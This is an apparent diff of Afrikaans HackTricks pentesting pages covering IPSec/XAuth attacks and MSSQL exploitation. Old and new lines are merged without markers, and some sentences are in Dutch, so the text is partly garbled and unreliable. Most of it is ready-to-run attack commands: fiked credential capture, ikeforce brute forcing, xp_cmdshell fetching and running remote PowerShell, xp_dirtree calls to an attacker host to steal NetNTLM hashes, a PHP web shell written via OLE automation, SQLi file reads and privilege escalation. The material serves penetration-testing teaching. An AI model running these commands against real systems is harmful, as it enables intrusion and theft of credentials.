Sodat jy die data van die aanmelding kan vasvang, kan jy _fiked_ gebruik en sien of daar enige verstek gebruikersnaam is (Jy moet IKE-verkeer na `fiked` omskakel vir snuffelwerk, wat gedoen kan word met behulp van ARP-spoofing, [meer inligting](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked sal optree as 'n VPN-eindpunt en sal die XAuth-geloofsbriewe vasvang:
Sodat jy die data van die aanmelding kan vasvang deur _fiked_ te gebruik en te sien of daar enige verstek gebruikersnaam is (Jy moet IKE-verkeer na `fiked` omskakel vir snuif, wat gedoen kan word met behulp van ARP-spoofing, [meer inligting](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked sal optree as 'n VPN-eindpunt en sal die XAuth-geloofsbriewe vasvang:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Verder, probeer om met behulp van IPSec een MitM-aanval uit te voeren en alle verkeer naar poort 500 te blokkeer. Als de IPSec-tunnel niet kan worden opgezet, wordt het verkeer mogelijk in heldere tekst verzonden.
### Brute-forcing XAUTH gebruikersnaam en wagwoord met ikeforce
### Brute-forcing XAUTH-gebruikersnaam en wachtwoord met ikeforce
Om de **XAUTH** (wanneer je een geldige groepsnaam **id** en de **psk** weet) te brute forcen, kun je een gebruikersnaam of lijst van gebruikersnamen en een lijst met wachtwoorden gebruiken:
Om die **XAUTH** (wanneer jy 'n geldige groepnaam **id** en die **psk** ken) te krag, kan jy 'n gebruikersnaam of 'n lys van gebruikersname en 'n lys van wagwoorde gebruik:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Op hierdie manier sal ikeforce probeer om te verbind deur elke kombinasie van gebruikersnaam:wagwoord te gebruik.
Hierdie manier, sal ikeforce probeer om te verbind deur elke kombinasie van gebruikersnaam:wagwoord.
As jy een of verskeie geldige transformasies gevind het, gebruik hulle dan soos in die vorige stappe.
As jy een of verskeie geldige transformasies gevind het, gebruik hulle net soos in die vorige stappe.
## Verifikasie met 'n IPSEC VPN
In Kali word **VPNC** gebruik om IPsec-tunnels te vestig. Die **profiele** moet in die gids `/etc/vpnc/` geleë wees. Jy kan hierdie profiele inisieer deur die opdrag _**vpnc**_ te gebruik.
In Kali, word **VPNC** gebruik om IPsec tonnels te vestig. Die **profiele** moet in die gids `/etc/vpnc/` geleë wees. Jy kan hierdie profiele inisieer deur die opdrag _**vpnc**_ te gebruik.
Die volgende opdragte en konfigurasies illustreer die proses om 'n VPN-verbinding met VPNC op te stel:
```bash
@ -241,41 +227,35 @@ root@system:~# ifconfig tun0
```
In hierdie opstelling:
- Vervang `[VPN_GATEWAY_IP]` met die werklike IP-adres van die VPN-poort.
- Vervang `[VPN_GATEWAY_IP]` met die werklike IP-adres van die VPN-hek.
- Vervang `[VPN_CONNECTION_ID]` met die identifiseerder vir die VPN-verbinding.
- Vervang `[VPN_GROUP_SECRET]` met die VPN se groepgeheim.
- Vervang `[VPN_USERNAME]` en `[VPN_PASSWORD]` met die VPN-verifikasie-inligting.
- `[PID]` simboliseer die proses-ID wat toegewys sal word wanneer `vpnc` geïnisieer word.
Maak seker dat werklike, veilige waardes gebruik word om die plasehouers te vervang wanneer die VPN gekonfigureer word.
Verseker dat werklike, veilige waardes gebruik word om die plekhouers te vervang wanneer die VPN opgestel word.
## Verwysingsmateriaal
* [PSK-kraakpapier](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Skandering van 'n VPN-implementering](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3rd Edition
* Netwerksekuriteitsassessering 3de Uitgawe
## Shodan
* `port:500 IKE`
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
</details>

View file

@ -2,31 +2,23 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Basiese Inligting
Van [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
Vanaf [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server** is 'n **relasionele databasis**-bestuurstelsel wat deur Microsoft ontwikkel is. Dit is 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat óf op dieselfde rekenaar óf op 'n ander rekenaar oor 'n netwerk (insluitend die internet) kan loop.
> **Microsoft SQL Server** is 'n **relasionele databasis**-bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat óf op dieselfde rekenaar óf op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan hardloop.
**Verstekpoort:** 1433
```
@ -34,16 +26,16 @@ Van [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
```
### **Verstek MS-SQL Stelsel Tabelle**
* **master Databasis**: Hierdie databasis is krities omdat dit alle stelselvlak besonderhede vir 'n SQL Server instansie vasvang.
* **meester Databasis**: Hierdie databasis is noodsaaklik omdat dit alle stelselvlak besonderhede vir 'n SQL Server instansie vasvang.
* **msdb Databasis**: SQL Server Agent maak gebruik van hierdie databasis om skedulering vir waarskuwings en take te bestuur.
* **model Databasis**: Tree op as 'n bloudruk vir elke nuwe databasis op die SQL Server instansie, waar enige veranderinge soos grootte, sortering, herstelmodel, en meer in nuut geskepte databasisse weerspieël word.
* **Resource Databasis**: 'n Lees-slegs databasis wat stelselvoorwerpe bevat wat met SQL Server saamkom. Hierdie voorwerpe, alhoewel fisies in die Resource databasis gestoor word, word logies voorgestel in die sys skema van elke databasis.
* **tempdb Databasis**: Diens as 'n tydelike bergingsarea vir tydelike voorwerpe of tussenresultate.
* **model Databasis**: Tree op as 'n bloudruk vir elke nuwe databasis op die SQL Server instansie, waar enige veranderings soos grootte, sortering, herstelmodel, en meer nageboots word in nuut geskepte databasisse.
* **Hulpbron Databasis**: 'n Slegs-lees databasis wat stelselvoorwerpe huisves wat met SQL Server kom. Hierdie voorwerpe, terwyl fisies gestoor in die Hulpbron databasis, word logies voorgestel in die sys skema van elke databasis.
* **tempdb Databasis**: Diens as 'n tydelike stoorplek vir oorgang voorwerpe of tussenliggende resultaatsets.
## Opname
## Opsomming
### Outomatiese Opname
### Outomatiese Opsomming
As jy niks weet van die diens nie:
```bash
@ -51,7 +43,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
As jy **nie** **geloofsbriewe het** nie, kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan **rekeninge blokkeer** as jy verskeie kere probeer om in te teken met 'n bestaande gebruikersnaam en misluk.
As jy **nie geloofsbriewe het nie** kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan rekeninge **blokkeer** as jy verskeie kere misluk om in te teken met 'n bestaande gebruikersnaam.
{% endhint %}
#### Metasploit (benodig geloofsbriewe)
@ -88,9 +80,9 @@ msf> use windows/manage/mssql_local_auth_bypass
```
### [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
### Handmatige Opsomming
### Handleiding Enumerasie
#### Aantekening
#### Aanteken
```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
@ -106,122 +98,6 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
2> go
```
#### Algemene Opsomming
##### MSSQL Server Version Detection
Om die weergawe van die MSSQL-diens te bepaal, kan jy die volgende metodes gebruik:
- **Metode 1**: Voer die volgende opdrag uit in die SQL Server Management Studio (SSMS):
```sql
SELECT @@VERSION;
```
- **Metode 2**: Voer die volgende opdrag uit in 'n opdragvenster:
```bash
sqlcmd -S <target_IP> -U <username> -P <password> -Q "SELECT @@VERSION"
```
##### Lys van databasisse
Om 'n lys van databasisse op die MSSQL-diens te kry, kan jy die volgende metodes gebruik:
- **Metode 1**: Voer die volgende opdrag uit in SSMS:
```sql
SELECT name FROM sys.databases;
```
- **Metode 2**: Voer die volgende opdrag uit in 'n opdragvenster:
```bash
sqlcmd -S <target_IP> -U <username> -P <password> -Q "SELECT name FROM sys.databases"
```
##### Lys van tabelle in 'n spesifieke databasis
Om 'n lys van tabelle in 'n spesifieke databasis op die MSSQL-diens te kry, kan jy die volgende metodes gebruik:
- **Metode 1**: Voer die volgende opdrag uit in SSMS:
```sql
USE <database_name>;
SELECT name FROM sys.tables;
```
- **Metode 2**: Voer die volgende opdrag uit in 'n opdragvenster:
```bash
sqlcmd -S <target_IP> -U <username> -P <password> -d <database_name> -Q "SELECT name FROM sys.tables"
```
##### Lys van kolomme in 'n spesifieke tabel
Om 'n lys van kolomme in 'n spesifieke tabel op die MSSQL-diens te kry, kan jy die volgende metodes gebruik:
- **Metode 1**: Voer die volgende opdrag uit in SSMS:
```sql
USE <database_name>;
SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('<table_name>');
```
- **Metode 2**: Voer die volgende opdrag uit in 'n opdragvenster:
```bash
sqlcmd -S <target_IP> -U <username> -P <password> -d <database_name> -Q "SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('<table_name>')"
```
##### Lys van stored procedures in 'n spesifieke databasis
Om 'n lys van stored procedures in 'n spesifieke databasis op die MSSQL-diens te kry, kan jy die volgende metodes gebruik:
- **Metode 1**: Voer die volgende opdrag uit in SSMS:
```sql
USE <database_name>;
SELECT name FROM sys.procedures;
```
- **Metode 2**: Voer die volgende opdrag uit in 'n opdragvenster:
```bash
sqlcmd -S <target_IP> -U <username> -P <password> -d <database_name> -Q "SELECT name FROM sys.procedures"
```
##### Lys van gebruikers in 'n spesifieke databasis
Om 'n lys van gebruikers in 'n spesifieke databasis op die MSSQL-diens te kry, kan jy die volgende metodes gebruik:
- **Metode 1**: Voer die volgende opdrag uit in SSMS:
```sql
USE <database_name>;
SELECT name FROM sys.sysusers WHERE issqlrole = 0 AND isntname = 1;
```
- **Metode 2**: Voer die volgende opdrag uit in 'n opdragvenster:
```bash
sqlcmd -S <target_IP> -U <username> -P <password> -d <database_name> -Q "SELECT name FROM sys.sysusers WHERE issqlrole = 0 AND isntname = 1"
```
##### Lys van SQL Server-logins
Om 'n lys van SQL Server-logins op die MSSQL-diens te kry, kan jy die volgende metodes gebruik:
- **Metode 1**: Voer die volgende opdrag uit in SSMS:
```sql
SELECT name FROM sys.syslogins;
```
- **Metode 2**: Voer die volgende opdrag uit in 'n opdragvenster:
```bash
sqlcmd -S <target_IP> -U <username> -P <password> -Q "SELECT name FROM sys.syslogins"
```
```sql
# Get version
select @@version;
@ -269,16 +145,16 @@ SELECT * FROM sysusers
```
#### Kry Toestemmings
1. **Beveiligbaar:** Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangsbeheer. Hierdie word gekategoriseer as:
1. **Beveiligbaar:** Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangsbeheer. Hierdie word gekategoriseer in:
- **Bediener** - Voorbeelde sluit databasisse, logins, eindpunte, beskikbaarheidsgroepe en bedienersrolle in.
- **Databasis** - Voorbeelde dek databasisrolle, toepassingsrolle, skemas, sertifikate, volledige tekskatalogusse en gebruikers.
- **Databasis** - Voorbeelde dek databasisrolle, toepassingsrolle, skema, sertifikate, volledige tekskatalogusse en gebruikers.
- **Skema** - Sluit tabelle, aansigte, prosedures, funksies, sinonieme, ens. in.
2. **Toestemming:** Verband hou met SQL Server beveiligbare, toestemmings soos ALTER, CONTROL en CREATE kan aan 'n beginsel verleen word. Bestuur van toestemmings vind plaas op twee vlakke:
- **Bedienervlak** met behulp van logins
- **Databasisvlak** met behulp van gebruikers
2. **Toestemming:** Verbonde aan SQL Server beveiligbares, toestemmings soos ALTER, BEHEER, en SKEP kan aan 'n beginsel toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:
- **Bedienervlak** deur logins
- **Databasisvlak** deur gebruikers
3. **Beginsel:** Hierdie term verwys na die entiteit wat toestemming verleen word tot 'n beveiligbare. Beginsels sluit hoofsaaklik logins en databasisgebruikers in. Die beheer oor toegang tot beveiligbare word uitgeoefen deur die verlening of weiering van toestemmings of deur logins en gebruikers in rolle met toegangsregte in te sluit.
3. **Beginsel:** Hierdie term verwys na die entiteit wat toestemming verleen word tot 'n beveiligbare. Beginsels sluit hoofsaaklik logins en databasisgebruikers in. Die beheer oor toegang tot beveiligbares word uitgeoefen deur die toekennen of ontkenning van toestemmings of deur logins en gebruikers in rolle op te neem wat toegangsregte het.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -303,7 +179,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### Voer OS-opdragte uit
{% hint style="danger" %}
Let daarop dat dit nie net nodig is om opdragte uit te voer nie, maar ook om die **`xp_cmdshell`** **ingeskakel** te hê, en ook die **UITVOER-bevoegdheid op die `xp_cmdshell`-gebergte prosedure** te hê. Jy kan sien wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê om opdragte uit te voer nie, maar ook om die **UITVOER-permissie op die `xp_cmdshell`-gebergde prosedure** te hê. Jy kan sien wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
@ -336,9 +212,9 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
### Steel NetNTLM hash / Relay aanval
### Steel NetNTLM-hash / Oorplasing aanval
Jy moet 'n **SMB-bediener** begin om die hash wat in die outentifikasie gebruik word, vas te vang (`impacket-smbserver` of `responder` byvoorbeeld).
Jy moet 'n **SMB-bediener** begin om die hash wat in die verifikasie gebruik word, vas te vang (`impacket-smbserver` of `responder` byvoorbeeld).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -351,7 +227,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Jy kan nagaan wie (behalwe vir sysadmins) toestemming het om daardie MSSQL funksies uit te voer met:
Jy kan nagaan of wie (behalwe stelseladministrateurs) toestemming het om daardie MSSQL-funksies uit te voer met:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -360,16 +236,16 @@ EXEC sp_helprotect 'xp_fileexist';
```
{% endhint %}
Deur gebruik te maak van hulpmiddels soos **responder** of **Inveigh**, is dit moontlik om die NetNTLM-hash te **steel**.\
Jy kan sien hoe om hierdie hulpmiddels te gebruik in:
Deur gereedskap soos **responder** of **Inveigh** te gebruik, is dit moontlik om die NetNTLM-hash te **steel**.\
Jy kan sien hoe om hierdie gereedskap te gebruik in:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}
### Misbruik van MSSQL vertroue skakels
### Misbruik van MSSQL vertroude skakels
[**Lees hierdie berig**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **om meer inligting te vind oor hoe om hierdie funksie te misbruik:**
[**Lees hierdie pos**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **om meer inligting te vind oor hoe om hierdie funksie te misbruik:**
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
@ -377,7 +253,7 @@ Jy kan sien hoe om hierdie hulpmiddels te gebruik in:
### **Skryf Lêers**
Om lêers te skryf met behulp van `MSSQL`, moet ons **Ole Automation Procedures** [**aktiveer**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat admin-voorregte vereis, en dan sekere gestoorde prosedures uitvoer om die lêer te skep:
Om lêers te skryf met behulp van `MSSQL`, **moet ons** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) **aktiveer**, wat admin-voorregte vereis, en dan sekere gestoorde prosedures uitvoer om die lêer te skep:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -395,9 +271,9 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **Lees lêer met OPENROWSET**
### **Lees lêer met** OPENROWSET
Standaard, `MSSQL` laat lê van lêers toe op enige lêer in die bedryfstelsel waarop die rekening leestoegang het. Ons kan die volgende SQL-navraag gebruik:
Standaard, `MSSQL` laat lêer **lees op enige lêer in die bedryfstelsel waartoe die rekening leestoegang het**. Ons kan die volgende SQL-navraag gebruik:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -406,17 +282,13 @@ Egter, die **`BULK`** opsie vereis die **`ADMINISTER BULK OPERATIONS`** of die *
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Foutgebaseerde vector vir SQLi:
This technique involves exploiting SQL injection vulnerabilities by manipulating the application's error messages. By injecting malicious SQL code into input fields, an attacker can trigger errors that reveal sensitive information about the database structure or data. This information can then be used to further exploit the system.
Hierdie tegniek behels die uitbuiting van SQL-injeksiekwesbaarhede deur die manipulasie van die toepassing se foutboodskappe. Deur kwaadwillige SQL-kode in insetveldte injecteer, kan 'n aanvaller foute veroorsaak wat sensitiewe inligting oor die databasis se struktuur of data onthul. Hierdie inligting kan dan gebruik word om die stelsel verder uit te buit.
#### Foutgebaseerde vektor vir SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Lees lêers wat skripte uitvoer (Python en R)**
MSSQL kan jou in staat stel om skripte in **Python en/of R** uit te voer. Hierdie kode sal uitgevoer word deur 'n **ander gebruiker** as die een wat **xp\_cmdshell** gebruik om bevele uit te voer.
MSSQL kan jou toelaat om **skripte in Python en/of R** uit te voer. Hierdie kode sal uitgevoer word deur 'n **verskillende gebruiker** as die een wat **xp\_cmdshell** gebruik om bevele uit te voer.
Voorbeeld van 'n poging om 'n **'R'** _"Hellow World!"_ **wat nie werk nie** uit te voer:
@ -438,9 +310,9 @@ GO
```
### Lees Register
Microsoft SQL Server bied **verskeie uitgebreide gestoorde prosedures** wat jou in staat stel om te kommunikeer met nie net die netwerk nie, maar ook die lêersisteem en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server bied **verskeie uitgebreide gestoorde prosedures** wat jou toelaat om te interakteer met nie net die netwerk nie, maar ook die lêersisteem en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Gewone** | **Instansie-Bewus** |
| **Gewone** | **Instansie-Bewus** |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread | sys.xp\_instance\_regread |
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
@ -465,28 +337,20 @@ Vir **meer voorbeelde** kyk na die [**oorspronklike bron**](https://blog.waynesh
### RCE met MSSQL Gebruiker Gedefinieerde Funksie - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Dit is moontlik om 'n .NET dll binne MSSQL te **laai met aangepaste funksies**. Dit vereis egter `dbo` toegang, so jy benodig 'n verbinding met die databasis **as `sa` of 'n Administrateur rol**.
Dit is moontlik om 'n **.NET dll binne MSSQL te laai met aangepaste funksies**. Dit **vereis egter `dbo` toegang** sodat jy 'n verbinding met die databasis moet hê **as `sa` of 'n Administrateur rol**.
[**Volg hierdie skakel**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) om 'n voorbeeld te sien.
### Ander maniere vir RCE
Daar is ander metodes om opdrag uitvoering te kry, soos die byvoeging van [uitgebreide gestoorde prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR-versamelings](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [eksterne skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Daar is ander metodes om opdrag uit te voer, soos die byvoeging van [uitgebreide gestoorde prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Versamelings](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Take](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [eksterne skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) vandag.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## MSSQL Bevoorregte Eskalasie
## MSSQL Voorreg Escalation
### Van db\_owner tot sysadmin
As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis wat deur 'n administrateur** gebruiker besit word (soos **`sa`**) gegee word en daardie databasis is gekonfigureer as **`trustworthy`**, kan daardie gebruiker hierdie voorregte misbruik om **bevoorregte eskalasie** te bewerkstellig omdat **gestoorde prosedures** wat daar geskep is, uitgevoer kan word as die eienaar (**administrateur**).
As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis wat deur 'n admin besit word** (soos **`sa`**) gegee word en daardie databasis is ingestel as **`trustworthy`**, kan daardie gebruiker hierdie voorregte misbruik om te **privesc** omdat **gestoorde prosedures** wat daar geskep is, kan **uitgevoer** word as die eienaar (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -524,7 +388,7 @@ Jy kan 'n **metasploit** module gebruik:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Of 'n **PS** skrip:
Of 'n **PS** skrips:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
@ -532,7 +396,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
```
### Impersonasie van ander gebruikers
SQL Server het 'n spesiale toestemming, genaamd **`IMPERSONATE`**, wat **die uitvoerende gebruiker toelaat om die toestemmings van 'n ander gebruiker** of aanmelding oor te neem totdat die konteks herstel word of die sessie eindig.
SQL Server het 'n spesiale toestemming, genaamd **`IMPERSONATE`**, wat **die uitvoerende gebruiker toelaat om die regte van 'n ander gebruiker** of aanmelding oor te neem totdat die konteks herstel word of die sessie eindig.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -548,10 +412,10 @@ SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```
{% hint style="info" %}
As jy 'n gebruiker kan voorstel, selfs al is hy nie 'n sysadmin nie, moet jy nagaan of die gebruiker toegang het tot ander databasisse of gekoppelde bedieners.
{% endhint %}
As jy 'n gebruiker kan naboots, selfs as hy nie 'n sysadmin is nie, moet jy nagaan of die gebruiker toegang het tot ander databasisse of gekoppelde bedieners.
Merk op dat sodra jy 'n sysadmin is, kan jy enige ander een voorstel:
Merk op dat sodra jy 'n sysadmin is, kan jy enige ander een naboots:
{% endhint %}
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -575,30 +439,30 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Uittrekking van wagwoorde vanaf SQL Server Gekoppelde Bedieners
